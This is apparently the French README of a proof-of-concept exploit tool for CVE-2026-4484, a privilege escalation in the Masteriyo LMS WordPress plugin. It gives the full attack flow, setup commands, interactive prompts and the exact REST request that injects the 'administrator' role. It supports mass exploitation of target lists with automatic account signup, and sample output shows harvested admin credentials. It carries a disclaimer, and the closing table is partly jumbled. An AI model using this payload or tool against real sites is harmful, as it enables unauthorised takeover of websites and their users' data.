
Masteriyo LMS <= 2.1.6 - Absence de contrôle d'autorisation permettant à un utilisateur authentifié (Étudiant+) d'élever ses privilèges jusqu'à Administrateur
Masteriyo LMS <= 2.1.6 - Absence de contrôle d'autorisation permettant à un utilisateur authentifié (Étudiant+) d'élever ses privilèges jusqu'au rôle Administrateur
Description :
L'extension Masteriyo LMS pour WordPress est vulnérable à une élévation de privilèges dans toutes les versions jusqu'à la 2.1.6 incluse. La vulnérabilité provient de la fonction InstructorsController::prepare_object_for_database, qui ne restreint pas correctement l'attribution des rôles lors des requêtes à l'API REST. Un attaquant authentifié disposant d'un simple accès de niveau Étudiant peut élaborer une requête POST spécialement conçue vers le endpoint REST de l'API Masteriyo — en injectant "roles": ["administrator"] dans le corps de la requête — pour élever silencieusement son compte au niveau Administrateur WordPress, prenant ainsi le contrôle total du site sans aucune interaction d'un administrateur.
Il s'agit d'un script d'exploitation Proof-of-Concept (PoC) ciblant les installations WordPress exécutant une version vulnérable de l'extension Masteriyo LMS. L'outil prend en charge deux modes d'attaque :
| Mode | Nom | Flux | Cas d'utilisation |
|---|---|---|---|
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
L'outil utilise une interface terminal interactive — tous les paramètres sont demandés à l'exécution.
Créez un fichier texte brut (par exemple list.txt) avec une cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Utilisez ce mode lorsque vous ne disposez d'aucun compte existant sur la cible. L'outil enregistre automatiquement un nouveau compte étudiant, puis l'élève.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Étapes exécutées automatiquement :
/account/signup/ → extraire le nonce d'inscription/st/ → créer un nouveau compte en tant qu'Étudiant/account/ → extraire le nonce de connexion/wp-admin/admin-ajax.php → se connecter via AJAX Masteriyo/account/#/dashboard → extraire current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} avec {"roles":["administrator"]}Login_admin.txtUtilisez ce mode lorsque vous disposez déjà d'un compte Étudiant ou Instructeur valide sur la cible.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Étapes exécutées automatiquement :
/account/ → extraire le nonce de connexion/wp-admin/admin-ajax.php → se connecter via AJAX Masteriyo/account/#/dashboard → extraire current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} avec {"roles":["administrator"]}Login_admin.txt| Fichier | Description |
|---|---|
Login_admin.txt | Toutes les élévations de privilèges vers administrateur confirmées |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
La fonction InstructorsController::prepare_object_for_database de Masteriyo LMS traite le paramètre roles du corps de la requête REST sans vérifier si l'utilisateur à l'origine de la requête dispose de la capacité edit_users ou promote_users. Tout utilisateur authentifié (de niveau Étudiant ou supérieur) pouvant atteindre ce endpoint peut soumettre une valeur de rôle arbitraire — y compris administrator — qui est ensuite persistée directement dans la table des métadonnées utilisateur de WordPress.
Par : Nxploited (Khaled Alenazi)
CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.
L'auteur, Nxploited (Khaled Alenazi), ainsi que tous les contributeurs de ce projet n'approuvent pas, ne soutiennent pas et déclinent toute responsabilité concernant une utilisation abusive de cet outil ou tout dommage causé par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.
- ✅ Autorisé : Utilisation sur des systèmes que vous possédez ou pour lesquels vous avez reçu une autorisation écrite explicite de test.
- ❌ Interdit : Utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.
L'accès non autorisé à des systèmes informatiques est illégal et passible de sanctions en vertu des lois applicables, notamment, sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et la législation équivalente dans le monde entier.
En utilisant cet outil, vous acceptez l'entière responsabilité de vos actes et confirmez que vous disposez de l'autorité légale pour tester les systèmes ciblés.
L'auteur décline toute responsabilité pour tout dommage direct, indirect, accessoire ou consécutif découlant de l'utilisation ou de la mauvaise utilisation de ce logiciel.
© 2026 Nxploited (Khaled Alenazi) — Pour la recherche en sécurité autorisée uniquement.
| Champ | Détails |
|---|
| CVE ID | CVE-2026-4484 |
| Sévérité | ÉLEVÉE — Score CVSS v3.1 : 8.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Logiciel concerné | Extension Masteriyo LMS pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 2.1.6 incluse |
| Type de vulnérabilité | Élévation de privilèges (manipulation de rôles) |
| Authentification requise | Oui — niveau Étudiant ou supérieur |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
Nx_1 |
| Inscription → Connexion → Élévation → Vérification admin |
| Attaque depuis zéro — aucun compte existant requis |
| 2 | Nx_2 | Connexion → Élévation → Vérification admin | Compte existant disponible (Étudiant/Instructeur) |